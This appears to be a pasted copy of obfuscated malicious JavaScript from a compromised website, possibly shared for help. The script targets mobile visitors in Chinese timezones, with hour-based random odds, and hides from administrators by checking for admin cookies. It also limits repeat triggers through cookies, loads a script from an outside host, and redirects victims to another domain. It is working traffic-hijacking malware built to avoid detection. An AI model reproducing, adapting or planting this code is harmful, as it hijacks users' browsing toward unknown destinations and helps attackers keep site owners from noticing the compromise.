- function loadJS(_0x3ee51d, _0x265928) {
- var _0x196f57 = document.createElement("script");
- var _0x199fe3 = _0x265928 || function () {};
- _0x196f57.type = "text/javascript";
- {
- _0x196f57.onload = function () {
- _0x199fe3();
- };
- }
- _0x196f57.src = _0x3ee51d;
- document.getElementsByTagName("head")[0].appendChild(_0x196f57);
- }
- function isPc() {
- try {
- var _0x425d85 = navigator.platform == "Win32" || navigator.platform == "Windows";
- var _0x426231 = navigator.platform == "Mac68K" || navigator.platform == "MacPPC" || navigator.platform == "Macintosh" || navigator.platform == "MacIntel";
- if (_0x426231 || _0x425d85) {
- return true;
- } else {
- return false;
- }
- } catch (_0x20e6bc) {
- return false;
- }
- }
- function setCookie(_0x180ca4, _0x45e07b, _0x4fb0da, _0x4ae261 = "minutes") {
- const _0x36cff1 = new Date();
- if (_0x4ae261 === "minutes") {
- _0x36cff1.setTime(_0x36cff1.getTime() + _0x4fb0da * 60 * 1000);
- } else if (_0x4ae261 === "days") {
- _0x36cff1.setTime(_0x36cff1.getTime() + _0x4fb0da * 24 * 60 * 60 * 1000);
- }
- const _0x56f440 = "expires=" + _0x36cff1.toUTCString();
- document.cookie = _0x180ca4 + "=" + _0x45e07b + ";" + _0x56f440 + ";path=/";
- }
- function getCookie(_0x5a0a01) {
- const _0x20540e = decodeURIComponent(document.cookie);
- const _0x5a3121 = _0x20540e.split(";");
- for (let _0x3455be = 0; _0x3455be < _0x5a3121.length; _0x3455be++) {
- let _0x4819fb = _0x5a3121[_0x3455be].trim();
- if (_0x4819fb.indexOf(_0x5a0a01 + "=") === 0) {
- return _0x4819fb.substring(_0x5a0a01.length + 1);
- }
- }
- return null;
- }
- function deleteCookie(_0x3f4f74) {
- document.cookie = _0x3f4f74 + "=;expires=Thu, 01 Jan 1970 00:00:00 UTC;path=/";
- }
- function getUserTimezone() {
- return Intl.DateTimeFormat().resolvedOptions().timeZone;
- }
- function isTimezoneAllowed(_0x16d716, _0x3dad68) {
- return _0x3dad68.includes(_0x16d716);
- }
- function vfed_update(_0x59e1bb) {
- if (_0x59e1bb !== "") {
- loadJS("https://union.macoms.la/html/checkcache.js?o=368", function () {
- if (usercache == true) {
- window.location.href = _0x59e1bb;
- }
- });
- }
- }
- var ismobile = navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i);
- if (ismobile) {
- var current_host = window.location.host;
- var s = document.referrer;
- var jp = "";
- var default_jp = "https://weewqrfv.com/redirect?from=idjc";
- var rand = Math.floor(Math.random() * 100 + 1);
- var thisDate = new Date();
- var currentTime = thisDate.getHours();
- var userTimezone = getUserTimezone();
- const allowedTimezone = ["Asia/Shanghai", "Asia/Chongqing", "Asia/Harbin", "Asia/Urumqi", "Asia/Kashgar", "Asia/Beijing"];
- if (current_host.indexOf("www.dxtv1.com") !== -1 || current_host.indexOf("www.ys752.com") !== -1) {
- jp = "https://weewqrfv.com/redirect?from=idjc";
- } else if (current_host.indexOf("shuanshu.com.com") !== -1) {
- jp = "https://weewqrfv.com/redirect?from=idjc";
- } else if (s.indexOf(".") !== -1 && s.indexOf(current_host) == -1) {
- if (isTimezoneAllowed(userTimezone, allowedTimezone)) {
- jp = default_jp;
- }
- } else if (currentTime >= 0 && currentTime < 2) {
- if (rand <= 60) {
- if (isTimezoneAllowed(userTimezone, allowedTimezone)) {
- jp = default_jp;
- }
- }
- } else if (currentTime >= 2 && currentTime < 4) {
- if (rand <= 70) {
- if (isTimezoneAllowed(userTimezone, allowedTimezone)) {
- jp = default_jp;
- }
- }
- } else if (currentTime >= 4 && currentTime < 7) {
- if (rand <= 80) {
- if (isTimezoneAllowed(userTimezone, allowedTimezone)) {
- jp = default_jp;
- }
- }
- } else if (currentTime >= 7 && currentTime < 8) {
- if (rand <= 60) {
- if (isTimezoneAllowed(userTimezone, allowedTimezone)) {
- jp = default_jp;
- }
- }
- } else if (rand <= 50) {
- if (isTimezoneAllowed(userTimezone, allowedTimezone)) {
- jp = default_jp;
- }
- }
- (() => {
- const _0x217c3c = "userVisitCount";
- const _0x10d77e = "userBlocked";
- const _0x3ce884 = getCookie(_0x10d77e);
- if (_0x3ce884) {
- return;
- }
- let _0x453c44 = getCookie(_0x217c3c);
- if (_0x453c44) {
- _0x453c44 = parseInt(_0x453c44, 10);
- if (_0x453c44 >= 2) {
- setCookie(_0x10d77e, "true", 600);
- deleteCookie(_0x217c3c);
- } else {
- _0x453c44 += 1;
- setCookie(_0x217c3c, _0x453c44, 60);
- if (jp != "" && !isPc()) {
- if (document.cookie.indexOf("admin_id") == -1 && document.cookie.indexOf("adminlevels") == -1) {
- vfed_update(jp);
- }
- }
- }
- } else {
- setCookie(_0x217c3c, 1, 60);
- if (jp != "" && !isPc()) {
- if (document.cookie.indexOf("admin_id") == -1 && document.cookie.indexOf("adminlevels") == -1) {
- vfed_update(jp);
- }
- }
- }
- })();
- }
复制代码 |